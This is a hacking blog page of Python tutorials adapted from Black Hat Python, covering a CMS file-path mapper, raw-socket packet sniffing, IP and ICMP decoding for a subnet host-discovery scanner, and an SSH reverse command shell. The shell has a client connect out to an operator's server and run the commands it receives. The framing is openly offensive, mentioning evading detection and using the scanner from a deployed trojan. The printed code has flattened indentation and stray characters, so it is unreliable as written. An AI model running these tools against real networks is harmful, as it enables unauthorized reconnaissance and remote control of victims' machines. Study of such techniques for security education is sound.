• Skip to primary navigation
  • Skip to main content
  • Skip to footer

The Dark Tech

The Dark Tech

  • Home
  • Blogs
  • HTB
  • My account
  • Terms and Conditions
  • Privacy Policy
  • Home
  • Blogs
  • HTB
  • My account
  • Terms and Conditions
  • Privacy Policy

Black hat python

How To Map Open Source Web App Installations Using Python

February 19, 2022 by BlackHammer 1 Comment

Content management systems and blogging platforms such as Joomla, WordPress, and Drupal make starting a new blog or website simple, and they’re relatively common in a shared hosting environment or even an enterprise network. All systems have their own challenges in terms of installation, configuration, and patch management, and these CMS suites are no exception. When an overworked sysadmin or a hapless web developer doesn’t follow all security and installation procedures, it can be easy pickings for an attacker to gain access to the web server.

Because we can download any open source web application and locally determine its file and directory structure, we can create a purpose-built scanner that can hunt for all files that are reachable on the remote target. This can root out leftover installation files, directories that should be protected by .htaccess files, and other goodies that can assist an attacker in getting a toehold on the web server. This project also introduces you to using Python Queue objects, which allow us to build a large, thread-safe stack of items and have multiple threads pick items for processing. This will allow our scanner to run very rapidly. Let’s open web_app_mapper.py and enter the following code:

import Queue
import threading
import os
import urllib2
threads = 10 
 target = "http://www.blackhatpython.com" 
directory = "/Users/justin/Downloads/joomla-3.1.1"
filters = [".jpg",".gif","png",".css"]
os.chdir(directory)

We begin by defining the remote target website and the local directory into which we have downloaded and extracted the web application. We also create a simple list of file extensions that we are not interested in fingerprinting.

web_paths = Queue.Queue()

This list can be different depending on the target application. The web_paths variable is our Queue object where we will store the files that we’ll attempt to locate on the remote server.

for r,d,f in os.walk("."): 
 for files in f:
 remote_path = "%s/%s" % (r,files)
 if remote_path.startswith("."):
 remote_path = remote_path[1:]
 if os.path.splitext(files)[1] not in filters:
 web_paths.put(remote_path)

We then use the os.walk function to walk through all of the files and directories in the local web application directory. As we walk through the files and directories, we’re building the full path to the target files and testing them against our filter list to make sure we are only looking for the file types we want. For each valid file we find locally, we add it to our web_paths Queue.

def test_remote():
x while not web_paths.empty(): 
 path = web_paths.get()
 url = "%s%s" % (target, path)
 request = urllib2.Request(url)
 try:
 response = urllib2.urlopen(request)
 content = response.read()

On each iteration of the loop, we grab a path from the Queue, add it to the target website’s base path, and then attempt to retrieve it.

print "[%d] => %s" % (response.code,path) 
 response.close()

If we’re successful in retrieving the file, we output the HTTP status code and the full path to the file.

except urllib2.HTTPError as error: 
 #print "Failed %s" % error.code
 pass

If the file is not found or is protected by an .htaccess file, this will cause urllib2 to throw an error, which we handle so the loop can continue executing.

for i in range(threads): 
 print "Spawning thread: %d" % i
 t = threading.Thread(target=test_remote)
 t.start()

Looking at the bottom of the script, we are creating a number of threads (as set at the top of the file) that will each be called the test_remote function. The test_remote function operates in a loop that will keep execut- ing until the web_paths Queue is empty.

Let’s Check Our Code

For testing purposes, I installed Joomla 3.1.1 into my Kali VM, but you can use any open source web application that you can quickly deploy or that you have running already. When you run web_app_mapper.py, you should see output like the following:

Spawning thread: 0
Spawning thread: 1
Spawning thread: 2
Spawning thread: 3
Spawning thread: 4
Spawning thread: 5
Spawning thread: 6
Spawning thread: 7
Spawning thread: 8
Spawning thread: 9
[200] => /htaccess.txt
[200] => /web.config.txt
[200] => /LICENSE.txt
[200] => /README.txt
[200] => /administrator/cache/index.html
[200] => /administrator/components/index.html
[200] => /administrator/components/com_admin/controller.php
[200] => /administrator/components/com_admin/script.php
[200] => /administrator/components/com_admin/admin.xml
[200] => /administrator/components/com_admin/admin.php
[200] => /administrator/components/com_admin/helpers/index.html
[200] => /administrator/components/com_admin/controllers/index.html
[200] => /administrator/components/com_admin/index.html
[200] => /administrator/components/com_admin/helpers/html/index.html
[200] => /administrator/components/com_admin/models/index.html
[200] => /administrator/components/com_admin/models/profile.php
[200] => /administrator/components/com_admin/controllers/profile.php

You can see that we are picking up some valid results including some .txt files and XML files. Of course, you can build additional intelligence into the script to only return files you’re interested in—such as those with the word install in them.

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Black hat python, Enumeration, File search, Mapping, Python, Python for hacking

Decoding The ICMP Packets With Python

February 19, 2022 by BlackHammer 1 Comment

What Is ICMP

The Internet Control Message Protocol (ICMP) is a supporting protocol in the Internet protocol suite. It is used by network devices, including routers, to send error messages and operational information indicating success or failure when communicating with another IP address, for example, an error is indicated when a requested service is not available or that a host or router could not be reached.ICMP differs from transport protocols such as TCP and UDP in that it is not typically used to exchange data between systems, nor is it regularly employed by end-user network applications (with the exception of some diagnostic tools like ping and traceroute).

Decoding The ICMP Packets

Now that we can fully decode the IP layer of any sniffed packets, we have to be able to decode the ICMP responses that our scanner will elicit from sending UDP datagrams to closed ports. ICMP messages can vary greatly in their contents, but each message contains three elements that stay consis- tent: the type, code, and checksum fields. The type and code fields tell the receiving host what type of ICMP message is arriving, which then dictates how to decode it properly.

For the purpose of our scanner, we are looking for a type value of 3 and a code value of 3. This corresponds to the Destination Unreachable class of ICMP messages, and the code value of 3 indicates that the Port Unreachable error has been caused. Refer to Figure for a diagram of a Destination Unreachable ICMP message.

Destination Unreachable ICMP message

As you can see, the first 8 bits are the type and the second 8 bits con- tain our ICMP code. One interesting thing to note is that when a host sends one of these ICMP messages, it actually includes the IP header of the originating message that generated the response. We can also see that we will double-check against 8 bytes of the original datagram that was sent in order to make sure our scanner generated the ICMP response. To do so, we simply slice off the last 8 bytes of the received buffer to pull out the magic string that our scanner sends.

Let’s add some more code to our previous sniffer to include the ability to decode ICMP packets. Let’s save our previous file as sniffer_with_icmp.py and add the following code:

--snip--
class IP(Structure):
--snip--
 class ICMP(Structure): 
 _fields_ = [
 ("type", c_ubyte),
 ("code", c_ubyte),
 ("checksum", c_ushort),
 ("unused", c_ushort),
 ("next_hop_mtu", c_ushort)
 ]
 def __new__(self, socket_buffer):
 return self.from_buffer_copy(socket_buffer) 
 def __init__(self, socket_buffer):
 pass
--snip--
 print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)

This simple piece of code creates an ICMP structure u underneath our existing IP structure.

# if it's ICMP, we want it
 if ip_header.protocol == "ICMP":

When the main packet-receiving loop determines that we have received an ICMP packet.

# calculate where our ICMP packet starts
 offset = ip_header.ihl * 4

We calculate the offset in the raw packet where the ICMP body lives.

buf = raw_buffer[offset:offset + sizeof(ICMP)]
 # create our ICMP structure
 icmp_header = ICMP(buf) 
 print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.
code)

Then create our buffer and print out the type and code fields. The length calculation is based on the IP header ihl field, which indicates the number of 32-bit words (4-byte chunks) contained in the IP header. So by multiplying this field by 4, we know the size of the IP header and thus when the next network layer— ICMP in this case—begins.

If we quickly run this code with our typical ping test, our output should now be slightly different, as shown below:

Protocol: ICMP 74.125.226.78 -> 192.168.0.190
ICMP -> Type: 0 Code: 0

This indicates that the ping (ICMP Echo) responses are being correctly received and decoded. We are now ready to implement the last bit of logic to send out the UDP datagrams, and to interpret their results.

Now let’s add the use of the netaddr module so that we can cover an entire subnet with our host discovery scan. Save your sniffer_with_icmp.py script as scanner.py and add the following code:

import threading
import time
from netaddr import IPNetwork,IPAddress
--snip--
# host to listen on
host = "192.168.0.187"
# subnet to target
subnet = "192.168.0.0/24"
# magic string we'll check ICMP responses for
 magic_message = "PYTHONRULES!"

This last bit of code should be fairly straightforward to understand. We define a simple string signature so that we can test that the responses are coming from UDP packets that we sent originally.

# this sprays out the UDP datagrams
 def udp_sender(subnet,magic_message): 
 time.sleep(5)
 sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
 for ip in IPNetwork(subnet):
try:
 sender.sendto(magic_message,("%s" % ip,65212))
 except:
 pass
--snip--

Our udp_sender function simply takes in a subnet that we specify at the top of our script, iterates through all IP addresses in that subnet, and fires UDP datagrams at them.

# start sending packets
 t = threading.Thread(target=udp_sender,args=(subnet,magic_message)) 
t.start()
--snip--
try:
 while True:
 --snip--
 #print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)
 # now check for the TYPE 3 and CODE
 if icmp_header.code == 3 and icmp_header.type == 3:

In the main body of our script, just before the main packet decoding loop, we spawn udp_sender in a separate thread to ensure that we aren’t interfering with our ability to sniff responses.

# make sure host is in our target subnet 
 if IPAddress(ip_header.src_address) in IPNetwork(subnet):

If we detect the anticipated ICMP message, we first check to make sure that the ICMP response is com- ing from within our target subnet.

# make sure it has our magic message
 if raw_buffer[len(raw_buffer)-len(magic_message):] == magic_message: 
 print "Host Up: %s" % ip_header.src_address

We then perform our final check of making sure that the ICMP response has our magic string in it. If all of these checks pass, we print out the source IP address of where the ICMP message originated.

Now Let’s Check Our Code

Now let’s take our scanner and run it against the local network. You can use Linux or Windows for this as the results will be the same. In my case, the IP address of the local machine I was on was 192.168.0.187, so I set my scanner to hit 192.168.0.0/24. If the output is too noisy when you run your scanner, simply comment out all print statements except for the last one that tells you what hosts are responding.

c:\Python27\python.exe scanner.py
Host Up: 192.168.0.1
Host Up: 192.168.0.190
Host Up: 192.168.0.192
Host Up: 192.168.0.195

For a quick scan like the one I performed, it only took a few seconds to get the results back. By cross-referencing these IP addresses with the DHCP table in my home router, I was able to verify that the results were accurate. You can easily expand what you’ve learned in this chapter to decode TCP and UDP packets, and build additional tooling around it. This scanner is also useful for the trojan framework we will begin building in Chapter 7. This would allow a deployed trojan to scan the local network looking for additional targets. Now that we have the basics down of how networks work on a high and low level. In next article we will explore a very mature Python library called Scapy.

Note

The NETADDR Module

Our scanner is going to use a third-party library called netaddr, which will allow us to feed in a subnet mask such as 192.168.0.0/24 and have our scan- ner handle it appropriately. Download the library from here: .com/p/netaddr/downloads/list

Or, if you installed the Python setup tools package, you can simply execute the following from a command prompt:

easy_install netaddr

The netaddr module makes it very easy to work with subnets and addressing. For example, you can run simple tests like the following using the IPNetwork object:

ip_address = "192.168.112.3"
if ip_address in IPNetwork("192.168.112.0/24"):
 print True

Or you can create simple iterators if you want to send packets to an entire network:

for ip in IPNetwork("192.168.112.1/24"):
 s = socket.socket()
 s.connect((ip, 25))
 # send mail packets

This will greatly simplify your programming life when dealing with entire networks at a time, and it is ideally suited for our host discovery tool. After it’s installed, you are ready to proceed.

Also Check Decoding The IP Layer With Python | For Hackers.

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Black hat python, Hacking, ICMP, Learn python, Python, Python for hacking

Decoding The IP Layer With Python

February 19, 2022 by BlackHammer 1 Comment

What Is IP Layer

The internet layer is a group of internetworking methods, protocols, and specifications in the Internet protocol suite that are used to transport network packets from the originating host across network boundaries; if necessary, to the destination host specified by an IP address. The internet layer derives its name from its function facilitating internetworking, which is the concept of connecting multiple networks with each other through gateways.

Decoding The IP Layer

In its current form, our sniffer receives all of the IP headers along with any higher protocols such as TCP, UDP, or ICMP. The information is packed into binary form, and as shown above, is quite difficult to under- stand. We are now going to work on decoding the IP portion of a packet so that we can pull useful information out such as the protocol type (TCP, UDP, ICMP), and the source and destination IP addresses. This will be the foundation for you to start creating further protocol parsing later on.

If we examine what an actual packet looks like on the network, you will have an understanding of how we need to decode the incoming packets. Refer to Figure 3-1 for the makeup of an IP header.

We will decode the entire IP header (except the Options field) and extract the protocol type, source, and destination IP address. Using the Python ctypes module to create a C-like structure will allow us to have a friendly format for handling the IP header and its member fields. First, let’s take a look at the C definition of what an IP header looks like.

struct ip {
 u_char ip_hl:4;
 u_char ip_v:4;
 u_char ip_tos;
 u_short ip_len;
 u_short ip_id;
 u_short ip_off;
 u_char ip_ttl;
 u_char ip_p;
 u_short ip_sum;
 u_long ip_src;
 u_long ip_dst;
}

You now have an idea of how to map the C data types to the IP header values. Using C code as a reference when translating to Python objects can be useful because it makes it seamless to convert them to pure Python. Of note, the ip_hl and ip_v fields have a bit notation added to them (the :4 part). This indicates that these are bit fields, and they are 4 bits wide. We will use a pure Python solution to make sure these fields map correctly so we can avoid having to do any bit manipulation. Let’s implement our IP decoding routine into sniffer_ip_header_decode.py as shown below.

import socket
import os
import struct
from ctypes import *
# host to listen on
host = "192.168.0.187"
# our IP header
 class IP(Structure): 
 _fields_ = [
 ("ihl", c_ubyte, 4),
 ("version", c_ubyte, 4),
 ("tos", c_ubyte),
 ("len", c_ushort),
 ("id", c_ushort),
 ("offset", c_ushort),
 ("ttl", c_ubyte),
 ("protocol_num", c_ubyte),
 ("sum", c_ushort),
 ("src", c_ulong),
 ("dst", c_ulong)
 ]
 def __new__(self, socket_buffer=None):
 return self.from_buffer_copy(socket_buffer) 
 def __init__(self, socket_buffer=None):
 # map protocol constants to their names
 self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"}

The first step is defining a Python ctypes structure u that will map the first 20 bytes of the received buffer into a friendly IP header. As you can see, all of the fields that we identified and the preceding C structure match up nicely. The __new__ method of the IP class simply takes in a raw buffer (in this case, what we receive on the network) and forms the structure from it.

# human readable IP addresses 
 self.src_address = socket.inet_ntoa(struct.pack("<L",self.src)) 
 self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst))
 # human readable protocol
 try:
 self.protocol = self.protocol_map[self.protocol_num]
 except:
 self.protocol = str(self.protocol_num)
# this should look familiar from the previous example
if os.name == "nt":
 socket_protocol = socket.IPPROTO_IP 
else:
 socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
if os.name == "nt":
 sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
 
 while True:

When the __init__ method is called, __new__ is already finished process- ing the buffer. Inside __init__, we are simply doing some housekeeping to give some human readable output for the protocol in use and the IP addresses.

# read in a packet
 raw_buffer = sniffer.recvfrom(65565)[0]

With our freshly minted IP structure, we now put in the logic to continually read in packets and parse their information. The first step is to read in the packet.

# create an IP header from the first 20 bytes of the buffer
 ip_header = IP(raw_buffer[0:20])

Now, We will pass the first 20 bytes to initialize our IP structure.

# print out the protocol that was detected and the hosts
 print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_¬ 
address, ip_header.dst_address) 
# handle CTRL-C
except KeyboardInterrupt:
 # if we're using Windows, turn off promiscuous mode
 if os.name == "nt":
 sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

Next, we simply print out the information that we have captured.

Now Let’s Check Our Code

Let’s test out our previous code to see what kind of information we are extracting from the raw packets being sent. I definitely recommend that you do this test from your Windows machine, as you will be able to see TCP, UDP, and ICMP, which allows you to do some pretty neat testing (open up a browser, for example). If you are confined to Linux, then perform the previous ping test to see it in action. Open a terminal and type:

python sniffer_ip_header_decode.py

Now, because Windows is pretty chatty, you’re likely to see output immediately. I tested this script by opening Internet Explorer and going to www .google.com, and here is the output from our script:

Protocol: UDP 192.168.0.190 -> 192.168.0.1
Protocol: UDP 192.168.0.1 -> 192.168.0.190
Protocol: UDP 192.168.0.190 -> 192.168.0.187
Protocol: TCP 192.168.0.187 -> 74.125.225.183
Protocol: TCP 192.168.0.187 -> 74.125.225.183
Protocol: TCP 74.125.225.183 -> 192.168.0.187
Protocol: TCP 192.168.0.187 -> 74.125.225.183

Because we aren’t doing any deep inspection on these packets, we can only guess what this stream is indicating. My guess is that the first couple of UDP packets are the DNS queries to determine where google.com lives, and the subsequent TCP sessions are my machine actually connecting and downloading content from their web server.

To perform the same test on Linux, we can ping google.com, and the results will look something like this:

Protocol: ICMP 74.125.226.78 -> 192.168.0.190
Protocol: ICMP 74.125.226.78 -> 192.168.0.190
Protocol: ICMP 74.125.226.78 -> 192.168.0.190

You can already see the limitation: we are only seeing the response and only for the ICMP protocol. But because we are purposefully building a host discovery scanner, this is completely acceptable. We will now apply the same techniques we used to decode the IP header to decode the ICMP messages in the next article.

Also Check Packet Sniffer On Windows And Linux Using Python | For Hackers.

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Black hat python, Decoding ip, Hacking, Internet protocol, Learn python, Python, Python for hacking

Packet Sniffer On Windows And Linux Using Python

February 1, 2022 by BlackHammer 2 Comments

What Is Packet Sniffing

A Packet Analyzer (also known as a packet sniffer) is a computer program or piece of computer hardware (such as a packet capture appliance) that can intercept and log traffic that passes over a digital network or part of a network.Packet capture is the process of intercepting and logging traffic. 

Packet Sniffing On Windows And Linux

Accessing raw sockets in Windows is slightly different than on its Linux brethren, but we want to have the flexibility to deploy the same sniffer to multiple platforms. We will create our socket object and then determine which platform we are running on. Windows requires us to set some additional flags through a socket input/output control (IOCTL),1 which enables promiscuous mode on the network interface. In our first example, we simply set up our raw socket sniffer, read in a single packet, and then quit.

import socket
import os
# host to listen on
host = "192.168.0.196"
# create a raw socket and bind it to the public interface
if os.name == "nt":
 socket_protocol = socket.IPPROTO_IP 
else:
 socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 
sniffer.bind((host, 0))

We start by constructing our socket object with the parameters necessary for sniffing packets on our network interface u. The difference between Windows and Linux is that Windows will allow us to sniff all incoming packets regardless of protocol, whereas Linux forces us to specify that we are sniffing ICMP. Note that we are using promiscuous mode, which requires administrative privileges on Windows or root on Linux. Promiscuous mode allows us to sniff all packets that the network card sees, even those not destined for your specific host.

# we want the IP headers included in the capture
 sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

Next we set a socket option that includes the IP headers in our captured packets.

# if we're using Windows, we need to send an IOCTL
# to set up promiscuous mode
w if os.name == "nt": 
 sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

The next step w is to determine if we are using Windows, and if so, we perform the additional step of sending an IOCTL to the network card driver to enable promiscu- ous mode. If you’re running Windows in a virtual machine, you will likely get a notification that the guest operating system is enabling promiscuous mode; you, of course, will allow it.

# read in a single packet
 print sniffer.recvfrom(65565)

Now we are ready to actually perform some sniffing, and in this case we are simply printing out the entire raw packet with no packet decoding. This is just to test to make sure we have the core of our sniffing code working.

# if we're using Windows, turn off promiscuous mode
 if os.name == "nt": 
 sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

After a single packet is sniffed, we again test for Windows, and disable promiscuous mode before exiting the script.

Now Let’s Test Our Packet Sniffer

Open up a fresh terminal or cmd.exe shell under Windows and run the following:

python sniffer.py

In another terminal or shell window, you can simply pick a host to ping. Here, we’ll ping thedarktech.com:

ping thedarktech.com

In your first window where you executed your sniffer, you should see some garbled output that closely resembles the following:

('E\x00\x00:\x0f\x98\x00\x00\x80\x11\xa9\x0e\xc0\xa8\x00\xbb\xc0\xa8\x0
0\x01\x04\x01\x005\x00&\xd6d\n\xde\x01\x00\x00\x01\x00\x00\x00\x00\x00\
x00\x08thedarktech\x03com\x00\x00\x01\x00\x01', ('192.168.0.187', 0))

You can see that we have captured the initial ICMP ping request des- tined for nostarch.com (based on the appearance of the string nostarch.com). If you are running this example on Linux, then you would receive the response from nostarch.com. Sniffing one packet is not overly useful, so let’s add some functionality to process more packets and decode their contents in next article.

Also Check SSH Tunneling Using Python |For Hackers

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Black hat python, hacker, Hacking, learn hacking, Learn python, Packet Sniffer, Python, Python for hacking, Sniffing

How To Make Your Own Encrypted SSH Tool With Python

February 1, 2022 by BlackHammer 1 Comment

What Is SSh

Secure Shell is a cryptographic network protocol for operating network services securely over an unsecured network. Typical applications include remote command-line, login, and remote command execution, but any network service can be secured with SSH

What Will We Get From This Program

This program creates an SSH server that our SSH client (where we want to run commands) connects to. This could be a Linux, Windows, or even OS X system that has Python and Paramiko installed.

Accessing SSH From Python

Pivoting with BHNET is pretty handy, but sometimes it’s wise to encrypt your traffic to avoid detection. A common means of doing so is to tunnel the traffic using Secure Shell (SSH). But what if your target doesn’t have an SSH client (like 99.81943 percent of Windows systems)?

While there are great SSH clients available for Windows, like Putty, this is a book about Python. In Python, you could use raw sockets and some crypto magic to create your own SSH client or server—but why create when you can reuse? Paramiko using PyCrypto gives you simple access to the SSH2 protocol.


To learn about how this library works, we’ll use Paramiko to make a connection and run a command on an SSH system, configure an SSH server and SSH client to run remote commands on a Windows machine, and finally puzzle out the reverse tunnel demo file included with Paramiko to duplicate the proxy option of BHNET. Let’s begin.


First, grab Paramiko using pip installer

pip install paramiko

We’ll use some of the demo files later, so make sure you download them from the Paramiko website as well.
Create a new file called bh_sshcmd.py and enter the following:

import threading
import paramiko
import subprocess
 def ssh_command(ip, user, passwd, command): 
 client = paramiko.SSHClient()

This is a fairly straightforward program. We create a function called ssh_command, which makes a connection to an SSH server and runs a single command.

#client.load_host_keys('/home/justin/.ssh/known_hosts')

Notice that Paramiko supports authentication with keys instead of (or in addition to) password authentication. Using SSH key authentication is strongly recommended on a real engagement, but for ease of use in this example, we’ll stick with the traditional username and password authentication.

client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
 client.connect(ip, username=user, password=passwd)
 ssh_session = client.get_transport().open_session()

Because we’re controlling both ends of this connection, we set the policy to accept the SSH key for the SSH server we’re connecting to and make the connection.

if ssh_session.active: 
 ssh_session.exec_command(command) 
 print ssh_session.recv(1024)
 return 
ssh_command('192.168.100.131', 'thedarktech','lovesthepython','id')

Finally, assuming the connection is made, we run the command that we passed along in the call to the ssh_command function in our example the command id.


Let’s run a quick test by connecting to our Linux server:

C:\tmp> python bh_sshcmd.py
Uid=1000(thedarktech) gid=1001(thedarktech) groups=1001(thedarktech)

You’ll see that it connects and then runs the command. You can easily modify this script to run multiple commands on an SSH server or run commands on multiple SSH servers.
So with the basics done, let’s modify our script to support running commands on our Windows client over SSH. Of course, normally when using SSH, you use an SSH client to connect to an SSH server, but because Windows doesn’t include an SSH server out-of-the-box, we need to reverse this and send commands from our SSH server to the SSH client.


Create a new file called bh_sshRcmd.py and enter the following

import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command): 
 client = paramiko.SSHClient()
 #client.load_host_keys('/home/justin/.ssh/known_hosts') 
 client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 client.connect(ip, username=user, password=passwd)
 ssh_session = client.get_transport().open_session()
 if ssh_session.active:
 ssh_session.send(command)
 print ssh_session.recv(1024)#read banner
 while True:
 command = ssh_session.recv(1024) #get the command from the SSH ¬ 
 server
 try:
 cmd_output = subprocess.check_output(command, shell=True)
 ssh_session.send(cmd_output)
 except Exception,e:
 ssh_session.send(str(e))
 client.close()
 return 
ssh_command('192.168.100.130', 'thedarktech', 'lovesthepython','ClientConnected')

The first few lines are like our last program and the new stuff starts in the while True: loop. Also notice that the first command we send is ClientConnected. You’ll see why when we create the other end of the SSH connection.


Now create a new file called bh_sshserver.py and enter the following:

import socket
import paramiko
import threading
import sys
# using the key from the Paramiko demo files 
 host_key = paramiko.RSAKey(filename='test_rsa.key')

This program creates an SSH server that our SSH client (where we want to run commands) connects to. This could be a Linux, Windows, or even OS X system that has Python and Paramiko installed.

For this example, we’re using the SSH key included in the Paramiko demo files.

class Server (paramiko.ServerInterface): 
 def _init_(self):
 self.event = threading.Event()
 def check_channel_request(self, kind, chanid):
 if kind == 'session':
 return paramiko.OPEN_SUCCEEDED
 return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
 def check_auth_password(self, username, password):
 if (username == 'thedarktech') and (password == 'lovesthepython'):
 return paramiko.AUTH_SUCCESSFUL
 return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = int(sys.argv[2])
 try: 
 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 sock.bind((server, ssh_port))
 sock.listen(100)
 print '[+] Listening for connection ...'
 client, addr = sock.accept()
except Exception, e:
 print '[-] Listen failed: ' + str(e)
 sys.exit(1)
print '[+] Got a connection!'
 try: 
 bhSession = paramiko.Transport(client)
 bhSession.add_server_key(host_key)
 server = Server()
 try:
 bhSession.start_server(server=server)
 except paramiko.SSHException, x:
 print '[-] SSH negotiation failed.'
 chan = bhSession.accept(20)

We start a socket listener, just like we did earlier in the chapter, and then SSHinize it and configure the authentication methods.

print '[+] Authenticated!' 
 print chan.recv(1024)
 chan.send('Welcome to bh_ssh')
 while True: 
 try:
 command= raw_input("Enter command: ").strip('\n')
 if command != 'exit':
chan.send(command)
 print chan.recv(1024) + '\n'
 else:
 chan.send('exit')
 print 'exiting'
 bhSession.close()
 raise Exception ('exit')
 except KeyboardInterrupt:
 bhSession.close()
except Exception, e:
 print '[-] Caught exception: ' + str(e)
 try:
 bhSession.close()
 except:
 pass
 sys.exit(1)

When a client has authenticated and sent us the ClientConnected message, any command we type into the bh_sshserver is sent to the bh_sshclient anexecuted on the bh_sshclient, and the output is returned to bh_sshserver.

Now Let’s Test Our Code

For the demo, I’ll run both the server and the client on my Windows
machine

You can see that the process starts by setting up our SSH server and then connecting from our client. The client is successfully connected and we run a command. We don’t see anything in the SSH client, but the command we sent is executed on the client  and the output is sent to our SSH server.

Also Check How To Build A TCP Proxy With Python | For Hackers

Also Check Relpacing Most Favourite Tool Of Hackers Netcat With Python

Filed Under: For Beginners, Hacking, Learn Hacking, Python For Hacking Tagged With: Black hat python, Ethical Hacking, learn hacking, Learn python, Python, Secure shell, security

  • Go to page 1
  • Go to page 2
  • Go to Next Page »

Footer

Contact Us

If you’d like to find out more about our services and explore the possibility of us working together, get in touch. Our initial consultation is free. So you’ve nothing to lose!

Contact Us
  • Privacy Policy
  • Disclaimer
  • Terms and Conditions

Copyright © 2022 · Parallax Pro on Genesis Framework · WordPress · Log in